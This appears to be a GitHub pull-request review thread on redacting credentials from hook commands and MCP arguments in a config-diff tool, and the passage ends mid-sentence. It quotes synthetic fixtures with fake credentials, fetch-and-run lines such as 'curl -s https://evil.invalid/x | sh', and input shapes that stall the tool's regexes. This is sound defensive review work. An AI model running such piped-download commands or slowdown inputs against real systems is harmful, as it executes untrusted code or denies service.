Repository navigation
Publish hook matcher, command summary and timeout, and MCP launch arguments (#819) - #851
Conversation
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 1 at d27bf790.
Not mergeable yet: the new command and argument detail publishes credentials that the published redaction rules say are hidden, and it writes home-directory values into a baseline that audit says to commit. The engine design itself holds up. Rows, row counts, equality and digests are unchanged, and the issue's four fixtures read as intended on every route. Three findings block merge. Every value below comes from a synthetic fixture run through ./shipgate on this head and on the prepared e3c6cb0c.
-
P1: an
Authorizationcredential after any scheme other thanBeareris published, and the text makes it look redacted.-
Evidence: a head commit adds two things:
- a hook
curl -s -H "Authorization: Basic dXNlcjpwYXNz" … https://example.invalid/hook; - an MCP server with args
["-y","mcp-remote","https://mcp.example.invalid/sse","--header","Authorization: Basic dXNlcjpwYXNz"].
Each of these prints
'Authorization: <redacted> dXNlcjpwYXNz':difftext,diff --jsonreview.changes[].after,verifytext,pr-comment.md,verifier.json,check --format textandaudit --host --json. - a hook
-
Cause:
_HEADER_SECRET_RE(core/host_grants.py:111) replaces only the first word after the colon, and the new_detail_labelpre-pass (:827) special-cases onlyBearer. The same thing happens with:Authorization: Bot <token>: the first 80 characters of the token are published;X-Auth-Token: abcdef123456: published, because the header rule names only five headers.
-
On
e3c6cb0c: the same fixture'sverifyoutputs contain none of these values (0 hits). -
Docs: STABILITY.md:233 and the CHANGELOG say header credentials go through the redaction. The canary sweep covers only
Bearer. -
Context: permission-rule text on
mainhas the same header gap through_sanitize_sensitive_string. This PR carries that gap to hook commands and MCP args, the two places where literalcurl -Hand--headercredentials are most likely. -
Fix:
- In
_detail_label, replace the whole value ofAuthorization/Proxy-Authorization(scheme and credential). - Also replace the value of any header whose name
is_credential_keyaccepts (X-Auth-Token,api-key). - Add
Basicand a custom-token-header canary totest_credentials_in_a_command_or_an_argument_are_never_published.
- In
-
-
P1:
audit --host --scope local-static --save-baselinenow writes home-directory hook commands and MCP arguments into the workspace baseline, and tells the user to "Commit it".-
Evidence: with
HOMEset to a fixture holding:~/.claude/settings.jsonwith aStophookcurl -s -u pengfei:hunter2 -H "Authorization: Basic cGVuZ2ZlaTpodW50ZXIy" https://notify.example.invalid/x;~/.cursor/mcp.jsonwith args["--user","root","-p","hunter2","--auth","abcdEFGH1234"],
audit --host --workspace . --scope local-static --save-baselineprintsHost-grants baseline created: .agents-shipgate/host-grants.json … Commit it. One3c6cb0cthat file contains none of those values (0 hits). On this head it containspengfei:hunter2, the Basic credential,-p hunter2and--auth abcdEFGH1234. -
Why a word rule cannot fix this: these values were never in the repository. The documented limit ("a short or word-like secret passed positionally … is published as written") means no word-level rule can keep them out.
-
Why dropping them is free: STABILITY says no comparison, row or route reads the baseline's copy of these members.
-
Context: user-level permission-rule text already reaches such a baseline on
main. This PR adds the fields where credentials are most likely to be. -
Fix:
- Do not write
handlers/argsvalues for sources outside the repository (~/…, managed config) into the inventory or baseline. Alternatively, do not persist display members in baselines at all. - Add a test that a local-static baseline holds no value from a home-directory config.
- Say so in the migration note.
- Do not write
-
-
P2: MCP-argument redaction is narrower than the rules the code and docs state.
- (a) Narrower than the digest's own rule. The digest's list rule (
_redact_secret_values) redacts the value after a baretoken,password,secret,cookieorauthorizationitem._published_wordsonly does so after a word with a leading-.args: ["serve","token","abcdef123456"]publishesserve token abcdef123456, while the digest input isserve token <redacted>.- This contradicts
DISPLAY_ONLY_GRANT_FIELDS(core/host_grants.py:3852, "redacting at least what the digest's input redacts, so … it can change only when the digest does") and the docstring attests/test_hook_mcp_detail_fields.py:320. - Rotating that value changes the published args with no row.
- (b) Narrower than the hook path.
["--auth","abcdEFGH1234"]publishes as an MCP argument. The same words in a hook command publish--auth <redacted>: the whole-string_SPACE_ARG_SECRET_REincludesauth, but_is_credential_flagdoes not.schemas/host_grants.py:682says each MCP arg is "redacted as a hook command's words are". - (c) Narrower than STABILITY's rule.
--brave_api_key BSAabcdefgh12345publishes on both paths.is_credential_keykeeps_, sobrave_api_keydoes not end inapikey. STABILITY.md:233 says a flag whose name "ends in a credential word such as …apikey" is redacted. - Fix:
- In
_published_words, redact after any word the digest's list rule treats as a marker, with or without dashes. - Add
authto the credential-flag names. - Normalize
_in the suffix check. - Add these three cases to
test_one_argument_is_published_by_the_documented_rule.
- In
- (a) Narrower than the digest's own rule. The digest's list rule (
Nonblocking (P3):
curl -u user:passpublishes the pair. This is within the documented limit, but it is a common hook pattern, and redacting after the:of a-u/--uservalue would be cheap.- The
capability_diffrow indocs/distribution-surfaces.mdsays "check retains argument redaction".checktext now prints hook command and MCP arguments, and only permission-rule arguments stay hidden. "permission-rule argument redaction" would be exact. - A
timeoutedit from5to5.0is a row that says "no difference in the … timeout", while the published JSON differs. bash -c "TOKEN=x ./run.sh"publishes-c TOKEN=<redacted>and drops the rest of the quoted word. That errs in the safe direction.- Pre-existing on both
e3c6cb0cand this head: a TOML datetime in.codex/config.tomlMCPargscrashesaudit --hostwithTypeError: Object of type datetime is not JSON serializable(fromconfig_sha256). This is out of scope, but worth an issue.
Verified:
- Issue fixtures. On
e3c6cb0c,matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreads the no-difference sentence. On this head they read:PostToolUse: matcher Edit → Edit|Write|BashPostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | shPostToolUse: timeout 10 → 600docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest
- Rows unchanged.
rows[]indiff --jsonis unchanged. The entry text is inreview.changes.check's boundary rows are unchanged. - Baseline compatibility.
- A
0.6baseline saved bye3c6cb0cstays comparable on this head: no changes, equal digests, andinventory_sha256still verifies. - A timeout edit then gives exactly one
hook_changedsignal. --save-baselineover the0.6file reportsupdated, and a0.5file is refused.
- A
- Codex hooks. A Codex
hooks.jsonhook keepsaccess,riskandconfig_sha256, and publishes its handlers. - Hook entries. These read correctly:
handler 2 timeout 5 → 50;- a reorder;
+handler (matcher Edit, type prompt), with the prompt not published;- the not-shown limit for an undocumented shape;
- the not-shown sentence for an
asyncedit.
- Escaping. Newlines and backticks in commands are escaped (
\x0a, double-backtick span) in the text and in the PR comment. - Local checks:
scripts/generate_schemas.py --check,scripts/regenerate_goldens.py --check(24 artifacts, 0 changed) andruff check src tests scriptspass. 36 targeted test files also pass (1,922 passed, 3 skipped), among themtest_hook_mcp_detail_fields,test_host_diff_review_changes,test_host_audit,test_distribution_surface_parity,test_host_config_replay,test_cold_start_replayandtest_host_config_oracle_controls. - CI: green on
d27bf790.
d27bf79 to
e49650d
Compare
|
Addressed review cycle 1. New head BlockingF1: header credentials after any scheme. Fixed.
F2: home-directory values in a committed baseline. Fixed with your alternative: a saved baseline never holds the display-only members, whatever the source. I chose that over a source-based rule because repository scope also reads
Reproduction of your fake-HOME case (
New tests:
The migration note has a new Saved baselines bullet, and the "hand edit to a baseline's copy" sentence is gone. The CHANGELOG, STABILITY preamble, agent contract (llms-full rebuilt), host-boundary support doc and distribution-surfaces row say the same. F3: MCP-argument redaction narrower than the digest / hook path / rule text. Fixed.
Non-blocking
RebaseMain's #853 re-captured the README and quickstart The pilot ledger keeps main's 2026-09-22 v1.1.0 measurement and the #819 source-tree rerun beside the release commit Verification
|
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 1 at e49650d5.
Not mergeable yet: the new argument and command detail still publishes long credentials whose shape the redaction does not read as one word, and two smaller gaps contradict the published rules. The prior cycle's three blocking findings are fixed, and the engine design holds: rows, row counts, equality, digests and saved baselines are unchanged. The issue's four fixtures read as intended on every route. Every value below comes from a synthetic fixture run through ./shipgate on this head and on origin/main daa4ad5f, or from calling the head's own helpers directly.
-
P1: long generated credentials that contain a
.,:or;are published verbatim.-
Evidence, MCP arguments. A head commit adds three servers:
store: args["-y","azure-storage-mcp","--connection-string","AccountName=acct;AccountKey=<88-char base64>"];air: args["-y","airtable-mcp","patAbCdEfGh123456.<64 hex>"], the Airtable PAT shape;bot: args["-y","discord-mcp","MTk4NjIy….Cl2FMQ.ZnCjm1XV…"], the Discord bot token shape.
difftext,diff --json,verifytext,pr-comment.md,verifier.jsonandcheck --format textall contain the Azure key (cut at 80 characters), the PAT's hex and the whole Discord token. Onmainthe same fixture publishes none of them (0 hits in every output). -
Evidence, hook commands. A new
Stophookbin/notify.sh SG.<22 chars>.<43 chars>(the SendGrid key shape) and a newNotificationhookbin/tg.sh 123456789:AAH…(the Telegram bot token shape) print both tokens whole indiff,verifytext, the PR comment andverifier.json. For example,Stop (command bin/notify.sh SG.AbCdEfGhIjKlMnOpQrStUv.WxYz0123456789…). Onmainthey have 0 hits. -
Also missed: a Mapbox secret token
sk.eyJ….…. -
Cause:
_looks_generatedonly matches when the whole word is in[A-Za-z0-9+/=_-](_DETAIL_GENERATED_RE.fullmatch, or_DETAIL_HEX_RE.fullmatch). A single.,:or;makes it returnFalse, however long the key is.redact_textknows none of these shapes.- An
AccountKey=inside a;-joined string is not anenv-style word, so the assignment rule does not catch it either.
-
Docs: the CHANGELOG says "a long generated-looking word [is]
<redacted>". STABILITY names the only secrets that escape as "a short or word-like secret passed positionally, such as-p hunter2". None of these is short or word-like. The agreed scope for #819 says positional secrets must never publish. -
Fix:
- Run the generated-key test on each run of base64-alphabet characters inside a word, split at
.,:,;,,and@, and redact any run that matches. - Optionally, exempt an
@sha256:image digest if that pin should stay visible. - Add the SendGrid, Telegram, Airtable PAT and Azure connection-string shapes to the canaries in
test_credentials_in_a_command_or_an_argument_are_never_published.
- Run the generated-key test on each run of base64-alphabet characters inside a word, split at
-
-
P2: a credential flag that directly follows another credential-named flag publishes its value, although the digest input redacts it.
- Evidence (head helpers,
_mcp_argsagainst_redact_secret_values):["--no-password","--token","abc123"]publishes['--no-password','<redacted>','abc123']. The digest input is['--no-password','--token','<redacted>'].- The same happens for
["--auth","--token","abc123"]and["--use-token","--api-key","k3y"].
- Cause:
_published_wordsreplaces the flag that follows the first flag with<redacted>, clearsredact_next, and never checks whether that replaced word was itself a credential flag. - Consequences:
- The value after
--tokenis published. - Rotating it changes the published
argswith no row. - This contradicts STABILITY ("A published argument therefore redacts at least what
config_sha256's input redacts") and theDISPLAY_ONLY_GRANT_FIELDScomment, which is the claim cycle 1's F3 fixed.
- The value after
- Fix:
- When the word being replaced is itself a credential flag or list marker, keep
redact_nextset, so both the flag and its value are replaced. - Or never consume a dashed credential flag as a value.
- Add these cases to
test_a_published_argument_redacts_at_least_what_the_digest_input_redacts.
- When the word being replaced is itself a credential flag or list marker, keep
- Evidence (head helpers,
-
P2: a change in an argument past the twelve-argument bound reads "no difference in … arguments".
- Evidence: the GitHub MCP docker server with 14 args (
run -i --rm -e … -v /tmp/cache:/cache --network host ghcr.io/github/github-mcp-server:<tag>) moves its image tag fromv0.5.0tolatest. That is the version-pin case #819 exists for.- On head:
github: no difference in the command name docker, arguments, env key names or header key names; the change is in a detail this output does not show, such as the command's path, a redacted or shortened argument, or another setting. - The grant publishes 12 args and
omitted_args: 2on both sides. - On
mainthe sentence said "such as the command's path or arguments". The new text states that the arguments did not differ, and its list of unshown details does not include an argument past the bound. - The quickstart says an edit confined to "anything past the length bound … says so".
- A hook with more than 16 handlers, or a change after the eighth word of a command, gets the matching hook sentence, which also names only "a redacted or shortened word".
- On head:
- Fix:
- When either side's
omitted_args(oromitted_handlers) is non-zero, say "the first 12 arguments" in the compared list. - Name "an argument past the first 12" (or "a handler past the first 16") as a detail this output does not show.
- Add a test with 13 or more args and the pin in the last one.
- When either side's
- Evidence: the GitHub MCP docker server with 14 args (
Nonblocking (P3):
_DETAIL_HEADER_REover-redacts a pin whose name ends in a credential word. For example,ghcr.io/org/secret:1.2.3publishesghcr.io/org/secret:<redacted>, so a tag change there reads as a redacted-argument change. This errs toward hiding.- Flags with a credential word in the middle publish their value, and so do bare short flags:
--secret-key hunter2,--access-key X,--key X,--pass X,mysql -phunter2. This is within the documented-p hunter2limit, but STABILITY's example could name these shapes so the limit is not read as covering-palone. - In glued text,
redact_textcan consume a keyword before the header or space-argument rule sees it. For example, in…sk-secret--password hunter2thesk-token pattern eats--password, andhunter2is published while the digest input redacts it. I found this only in synthetic, fuzz-style input. - A positional e-mail address is published as written, for example Upstash's
run dev@example.com <key>(the key itself is redacted).
Prior blocking findings (cycle 1 at d27bf790), re-verified at this head:
- F1: fixed.
_hook_commandpublishes all four hook shapes asAuthorization: <redacted>,X-Auth-Token: <redacted>orCookie: <redacted>:-H "Authorization: Basic dXNlcjpwYXNz",Authorization: Bot …,X-Auth-Token: abcdef123456andCookie: a=1; sess=zzz. The MCP["--header","Authorization: Basic …"]publishesAuthorization: <redacted>too. - F2: fixed. I used a fake
HOMEwith the reviewer's~/.claude/settings.jsonStop hook and a~/.cursor/mcp.jsonserver whose args include-p hunter2,--auth abcdEFGH1234and--pass s3cretpw. Then I ranaudit --host --scope local-static --save-baseline:.agents-shipgate/host-grants.jsonholds 0 hits for every canary;- no grant has
handlersorargs; inventory_sha256is3e52535c6267…, identical tomain's 0.6 baseline of the same fixture.
- F3: fixed for the reported shapes.
serve token X,--auth Xand--brave_api_key Xall publish<redacted>. Finding 2 above is a remaining gap in the same invariant.
Verified:
-
Issue fixtures. On
main,matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreads the no-difference sentence. On head the same line appears indifftext and JSON,verifytext, the PR comment,verifier.jsonandchecktext:PostToolUse: matcher Edit → Edit|Write|BashPostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | shPostToolUse: timeout 10 → 600docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest
rows[]is unchanged. -
Display invariant. A 200k-case mutation fuzz checked that a change leaving
config_sha256unchanged also leaves the published detail unchanged. The only violations were finding 2 and the glued-text P3 above. -
Schemas and version sites. The v0.7 drift and baseline schemas differ from v0.6 only in version and description.
scripts/generate_schemas.py --checkpasses,scripts/regenerate_goldens.py --checkreports 24 artifacts with 0 changed, andruff check src tests scriptsis clean. -
Tests on head: 47 files.
- The first 15 were
test_hook_mcp_detail_fields,test_host_diff_review_changes,test_host_audit,test_distribution_surface_parity,test_public_surface_contract,test_host_config_replay,test_cold_start_replay,test_host_config_oracle_controls,test_host_diff_entry_docs,test_schema_roundtrip,test_privacy,test_design_partner_pilot,test_manifest_free_pr_rows,test_host_comparison_coverageandtest_workflow_label_redaction: 1,379 passed and 1 skipped. - The other 32 are every test file that references the changed helpers (
_redact_secret_values,_url_capability_parts, the baseline builder,host_grants_sha256, the capability rows,published_workflow_labelor the version constants) or Codex/hook sources, plustest_org_governance. All passed excepttest_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs, which fails identically onmaindaa4ad5fin this Python 3.14 environment (TOMLDecodeErrorcarries line and column). - The new tests fail on
main, which lacks the symbols they import. None of them covers findings 1–3.
- The first 15 were
-
CI: green on
e49650d5: suite 1–3, test, coverage, verify, verify-self, the launchers and the mcp extras.release-tag-consistencywas skipped.
|
Addressed review cycle 1. New head Blocking1 (P1): long generated credentials joined by
Your shapes, run through
2 (P2): a credential flag right after another credential-named flag. Fixed. Whether a word is replaced now depends only on the word before it (
The same bug also existed in hook commands, and there the digest's string rule caused it. It had already rewritten End to end: an added server now reads Tests:
3 (P2): a change past the 12-argument bound read "no difference in … arguments". Fixed in Hooks get the same treatment:
Non-blocking
Evidence that nothing else moved
Docs
Tests run
CI runs the full suite. |
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 2 at 080a08af.
Not mergeable yet: three new findings block merge. A hook timeout too large for a float crashes every route. A published doc says rotating a credential flag's value is still a row, and it is not. The header rule hides the rest of a hook command after $PWD: or an unquoted auth:. All three cycle-1 findings are fixed, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic repository run through ./shipgate on this head and on origin/main daa4ad5f, or from calling the head's helpers directly.
-
P1: a hook
timeoutinteger of 309 or more digits crashesdiff,check,verifyandaudit --host.- Fixture: the base
.claude/settings.jsonhas aPostToolUsehook with"timeout": 10. The head sets"timeout":to1followed by 400 zeros. - On head:
diff,diff --json,check --format text,check --format agent-boundary-jsonandaudit --host --jsonexit 1 withOverflowError: int too large to convert to float.verifyexits 4 (internal_error) and writes nopr-comment.mdand noverifier.json.
- On main: all six exit 0, and the change is one
PostToolUse → PostToolUserow. - Cause:
_hook_handlers(core/host_grants.py:1384) callsmath.isfinite(timeout)on anyint, and Python converts the value to a float first. JSON reads such a literal as anint, andconfig_sha256hashes it without trouble, so the crash is new. - Nothing else crashed: a type fuzz of
_hook_handlersand_mcp_argsover 20,000 random configurations raised no other exception. - Why it matters: the repository controls this value. The failure is fail-closed, but it takes away every row of that pull request, and on main the same pull request gets a comparison.
- Fix:
- Call
math.isfiniteonly on afloat. - Publish an
intas it is. Anintwhose text is longer than the word bound can instead go through_detail_textas bounded text. - Add this fixture to the tests.
- Call
- Fixture: the base
-
P2:
docs/host-boundary-support.mdsays a change confined to the value after a credential-named flag is still a row. For the values the digest input redacts, it is not.-
The new paragraph (lines 172–179) says: "a credential header's whole value and the value after a credential-named flag are published as
<redacted>, and a change that only such a word, a word past the bound or an unpublished setting carries is still a row". -
Evidence: none of these changes gives a row, on head or on main:
- an MCP server
["-y","pkg","--token","rotA1"]becoming["-y","pkg","--token","rotB2"]; - a
Stophookbin/a.sh --token oldtokbecomingbin/a.sh --token newtok.
- an MCP server
-
The PR pins the opposite: its own
test_a_value_the_digest_already_redacts_stays_quiet_as_beforeassertspayload["rows"] == []for that shape. -
Why: the digest's input already redacts:
- the value after
--token,--api-keyand--password; --password=…;- an
X-Api-Key:header's value.
A change to one of these alone does not move
config_sha256. - the value after
-
Also in the CHANGELOG: "The detail is display only, so redacting a value never hides a change" invites the same reading.
-
Fix:
- Say that a value the digest's own input redacts (after
--token,--api-keyor--password, or anX-Api-Key:header's value) is not compared, so a change confined to it is no row, as before. - Keep the claim for what is still a row: a positional token, a generated key, a word past the bound, or an unpublished setting.
- Reword the CHANGELOG sentence along the lines of "the display's redaction never hides a change".
- Say that a value the digest's own input redacts (after
-
-
P2: in a hook command, a
Name:match on a credential word replaces everything to the end of the command, so-v $PWD:/srcor an unquotedauth:hides every later word.- Evidence, image change: a
PostToolUsehookdocker run --rm -v $PWD:/src ghcr.io/org/linter:1.2.0 --fixbecomes… ghcr.io/evil/linter:latest --fix --privileged.- Both sides' grants publish
argv0: dockerandargs: ["run","--rm","-v","$PWD:<redacted>"], withomitted_args: 0. diff,verifytext, the PR comment andcheckall printPostToolUse: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting.
- Both sides' grants publish
- Evidence, added hook: a new
Stophookecho auth: ok; curl -s https://evil.invalid/x | shprints asStop (command echo auth: <redacted>). - Nothing survives: the image, its pin,
--privilegedand the pipedcurl | shappear in no output (0 hits forevil). - Cause:
_hook_command(core/host_grants.py:1327) runs_detail_labelon the whole command string before splitting it, and that includes_DETAIL_HEADER_RE.- An unquoted value matches
[^'\"\r\n]*to the end of the text. - The name
PWDends inpwd. - MCP arguments are redacted one at a time, so the same
$PWD:/srcargument hides only/srcthere, and the image stays visible.
- Docs:
- STABILITY's redaction bullet says the value is replaced "up to the closing quote".
- Its only over-hiding example stays within one word (
ghcr.io/org/auth:1.2.3). - Nothing says the rest of a hook command can vanish, and
(+N more arguments)does not count what vanished. - This goes further than cycle 1's single-word pin note.
- Why it matters: a
docker runhook with a$PWDmount is an ordinary shape, and its image pin is exactly the edit #819 exists to show. The same shape also lets later words hide behind what reads as one redacted credential. - Fix:
- Keep the digest's string rule and the label rule on the whole string.
- Apply
_DETAIL_HEADER_REper word after splitting, as_published_wordalready does, or stop an unquoted value at whitespace or a shell operator. - Do not read a
$NAMEshell variable as a header name. - Add the
docker … -v $PWD:/srcandecho auth: ok; …shapes to the tests.
- Evidence, image change: a
Nonblocking (P3):
- A non-list
argsis said to be compared.- A server whose
argsis a string ("-y pkg@1.0.0"→"-y pkg@latest"), or a dict, printsstrargs: no difference in the command name npx, arguments, env key names or header key names; …, although the arguments changed. Main printed "such as the command's path or arguments". _mcp_unshown_change(capability_diff_rows.py:756) countsargs: nullon both sides as compared.- Hosts reject such a configuration, so only a malformed file hits this.
- A server whose
- The handler-bound count names the wrong bound.
handlers past the first {len(new)}(capability_diff_rows.py:925) uses the after side's listed count. Going from 17 handlers to 2 appendshandlers past the first 2: 1 → 0where the bound is 16. In that case it is folded intoand N more. - Escaped JSON inside a double-quoted shell word is missed.
curl -s -d "{\"password\": \"hunter2hunter2\"}" …publishes-d {\password\: \hunter2hunter2\}. The JSON-key rule does not match\"password\":, and the backslash-keeping split mangles the word.- The digest input does not redact the value either, and a long key in that position is still caught by the generated-key test.
- An optional
\before the quotes in_DETAIL_HEADER_REwould cover it.
bash -c "X=1; curl … | sh"still publishesbash -c X=<redacted>. This P3 was raised atd27bf790and left as is. It is the same hiding class as finding 3. If the fix for 3 bounds the header value, bound the assignment value to the first shell word too.- The PR description is stale against this head:
- It says "
Bearervalues are replaced before that". That pre-pass is gone, and the header rule now runs after the label rule. - It describes the generated-key test as whole-word only.
- It counts 41 tests in
tests/test_hook_mcp_detail_fields.py; 103 are collected. - It does not say that saved baselines now hold no
handlersorargs.
- It says "
- Pre-existing slowness:
_sanitize_sensitive_stringis quadratic on a repeated credential word. On main's digest path, 40k characters ofpasswordtake 1.6 s.- A hook command now runs it about three more times:
_detail_labelalone takes 3.3 s on the same text. - This is not new, but the 1 MiB configuration bound makes it reachable.
Prior blocking findings (cycle 1 at e49650d5), re-verified at this head:
-
F1: fixed. A head commit adds four hooks and four MCP servers:
- hooks
bin/notify.sh SG.<id>.<secret>,bin/tg.sh 987654321:AAH…andbin/map.sh sk.eyJ….…, and atool --no-password --token …hook; - servers with an Azure
AccountName=acct;AccountKey=<base64 key>, an Airtablepat….<64 hex>and a Discord token, and anapi-mcp --no-password --token …server.
None of their credentials appears in any output (0 canary hits). The outputs checked were:
difftext and JSON, andverifytext;pr-comment.md,verifier.json,agent-handoff.jsonandcurrent-control.json;checktext and JSON, andaudit --host --json.
The entries read
Stop (command bin/notify.sh SG.<redacted>.<redacted>),store (… AccountName=acct;AccountKey=<redacted>)andbot (… <redacted>.Cl2FMQ.<redacted>). - hooks
-
F2: fixed.
--no-password --token Xpublishes--no-password <redacted> <redacted>in MCP arguments and in a hook command, with 0 hits end to end.- A 30,000-case fuzz combined credential markers, flags, headers and separators, and checked each canary against the digest input. It found no value the digest input redacts that the published arguments or the hook summary show.
-
F3: fixed.
- The 14-argument GitHub docker server (
v0.5.0→latest) readsgithub: no difference in the command name docker, the first 12 arguments, env key names or header key names; the change is in a detail this output does not show, such as an argument past the first 12, …. - A change in a command's tenth argument names
a command argument past the first 8.
- The 14-argument GitHub docker server (
Verified:
- Issue fixtures. On main,
matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreads the no-difference sentence. On head they read:PostToolUse: matcher Edit → Edit|Write|BashPostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | shPostToolUse: timeout 10 → 600docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest
- Projections agree.
difftext,verifytext, the PR comment andchecktext print the same entries.review.changesindiff --jsonequalshost_comparison.review.changesinverifier.json.rows[]andcheck's boundary rows keep their values: 9 rows on the F1 fixture.
- Baselines.
- A
0.6baseline saved by main reads comparable on head, with no changes and no reasons. - After a timeout edit and a pin edit, drift gives exactly
hook_changedandmcp_server_changed, and theirbaselinesides have nohandlersorargs. --save-baselineover the0.6file reportsupdated, and the saved0.7grants hold no display member.
- A
- Escaping. ANSI escapes and U+202E in a command or argument print as
\x1band.<img>and<script>stay inside inert code spans in the PR comment. - Benchmarks. The 170 hook and MCP entries in the vendored base and head files publish identical detail on
e49650d5and on this head, with no<redacted>. The host-config, cold-start and oracle-control replay tests pass. - The new tests fail without the fix. This head's
tests/test_hook_mcp_detail_fields.py, run againste49650d5's source, fails 26 tests. - Local checks:
- 15 targeted files: 1,413 passed, 1 skipped. They are
test_hook_mcp_detail_fields,test_host_diff_review_changes,test_host_audit,test_distribution_surface_parity,test_host_diff_entry_docs,test_host_config_replay,test_cold_start_replay,test_host_config_oracle_controls,test_public_surface_contract,test_schema_roundtrip,test_privacy,test_design_partner_pilot,test_manifest_free_pr_rows,test_host_comparison_coverageandtest_workflow_label_redaction. - The eight other test files this PR edits (
test_agent_instructions_apply,test_agent_instructions_renderers,test_host_input_recovery,test_instruction_structure_contracts,test_local_contract,test_org_governance,test_reusable_workflow_secret_mappingsandtest_workflow_step_action_references): all passed. scripts/generate_schemas.py --checkpasses,scripts/regenerate_goldens.py --checkreports 24 artifacts with 0 changed,scripts/build-llms-full.pyleaves no diff, andruff check src tests scriptsis clean.
- 15 targeted files: 1,413 passed, 1 skipped. They are
- CI: green on
080a08af. That covers suite 1–3, test, coverage, verify, verify-self, the launchers and the mcp extras;release-tag-consistencywas skipped.
080a08a to
ebe8558
Compare
|
Addressed review cycle 2. New head The branch is rebased onto BlockingC2-1 — a hook timeout integer of 309 or more digits crashed every route. Fixed in
Your fixture (timeout
C2-2 — the docs claimed a change after a credential-named flag is still a row. Agreed; the docs were false for the values the digest input redacts.
Each claim was checked against C2-3 — a
Splitting first would have published the credential in an unquoted Your fixtures through
Nonblocking (all fixed)
Evidence it moves nothing else
Run
CI runs the full suite. |
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 2 at ebe8558f.
Not mergeable yet: two findings block merge. Three regular expressions in the new display code take quadratic time on text the repository controls, so a crafted .mcp.json or hook command stalls every route for minutes to over an hour where main answers in under a second. The quickstart also still makes the claim that cycle 2 at 080a08af removed from three other pages. All nine earlier blocking findings are fixed at this head, CI is green, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic repository run through ./shipgate on this head and on origin/main 44b9e05d, or from calling this head's helpers directly.
-
P2: three new patterns take quadratic time on repository-controlled text, so a single configuration file can stall
diff,check,verifyandaudit --host.-
Evidence,
diffwall time on head and onmain:head .mcp.json/.claude/settings.jsonaddsfile size head main an MCP argument "token:"followed by 64,000 spaces64 KB 20 s 0 s the same with 128,000 spaces 128 KB 77 s 0 s a Stophooksh -ccc…c1 x(64,000c)64 KB 13 s 0 s one MCP argument of 8,000 64-hex runs joined by .520 KB 20 s 1 s - On the 64 KB MCP file,
check --format texttakes 39 s andaudit --host --json20 s. - Doubling the input multiplies the time by about four. At the reader's own 1 MiB bound, that extrapolates to about 85 minutes per read for the header shape and about 55 minutes for the shell-flag shape.
checktakes about twice as long asdiff. - Every run exits 0 once it finishes, so nothing leaks and nothing false is published. A pull request can still hold the gate's job for hours, which is the same outcome the cycle-2 timeout crash had.
- On the 64 KB MCP file,
-
Causes, in
core/host_grants.py:_DETAIL_HEADER_RE(:1022). In[ \t]*:[ \t]*\\?['"]?([^'"\r\n]*[^\s'"]), the whitespace after the colon and the value's[^'"\r\n]*both match spaces and tabs. When only whitespace follows up to the end of the word, a quote or a newline, every split between them is tried. It runs on every MCP argument, every hook command word and every matcher._DETAIL_SHELL_SCRIPT_FLAG_RE.fullmatch(:1081, used at:1099).-[A-Za-z]*c[A-Za-z]*backtracks over everycin a long flag that fails at its end. It runs on every word aftersh/bash/… in a hook command or an MCP server'sargs._DETAIL_DIGEST_PREFIX_RE.search(word, 0, match.start())(:904) rescans the whole prefix of the word for every run of exactly 64, 96 or 128 hex digits.
-
Why it counts: this PR already treats this class as a defect. It fixed the digest's quadratic
_ASSIGNMENT_SECRET_REand pins it withtest_the_digest_assignment_rule_matches_as_before_in_linear_time. These three patterns are new, and no test bounds their time. -
Fix:
- Make the whitespace around the colon possessive:
[ \t]*+:[ \t]*+. Checked against the current pattern, it gives identical substitutions on 200,000 random strings built from name, colon, quote, backslash, whitespace and newline characters, and it handles 1,000,000 spaces in 0.07 s. - Test the shell flag without backtracking. One way:
re.fullmatch(r"-[A-Za-z]+", word) and "c" in word. - Look for the
sha256:prefix only in the few characters just before the run, not from position 0. - Add a test for each shape with an input near 1 MiB and a time bound.
- Make the whitespace around the colon possessive:
-
-
P2:
docs/quickstart.mdsays an edit confined to a credential-redacted argument "says so", but for the values the digest input redacts there is no row at all.- The text (lines 144–148): "…the command's path, an argument redacted because it could carry a credential and anything past the length bound are not shown, so an edit confined to them says so."
- Evidence: the quickstart's own
billingserver,["-y","@example/billing-mcp","--api-key","rotA1canary"]→…"rotB2canary"], printsNo static host-grant changes detected. No verdict is implied.A hookbin/a.sh --token oldtok→newtokand an MCP--token rotA1→rotB2print the same. - The PR's own evidence says the same:
test_a_value_the_digest_already_redacts_stays_quiet_as_beforeassertsrows == []for these rotations. - Already fixed elsewhere: cycle 2 at
080a08affound this claim indocs/host-boundary-support.md(its finding 2). The fix corrected that page, STABILITY and the CHANGELOG, but this sentence was not changed. - Fix: use the wording those pages now use:
- A value the digest's own input already redacts (after
--token,--api-keyor--password, or anX-Api-Key:header value) is not compared, so a change confined to it is no row. - Keep "says so" for the other redacted words, for anything past a bound, and for the command's path.
- A value the digest's own input already redacts (after
Nonblocking (P3):
- The shell-script rule ends a value only at whitespace.
bash -c 'X=1;curl -s https://evil.invalid/x | sh'publishesX=<redacted> -s https://evil.invalid/<redacted-path> | sh. The shell ends the value at;, so the command namecurlis hidden.env bash -c "X=1; curl … | sh"andsudo bash -c "…"still publish onlyX=<redacted>and hide the whole script, the cycle-2 hiding class.- Both err toward hiding. Ending a value at an unquoted
;,&,|,<or>would be a small change.
- An assignment that is not leading, inside a
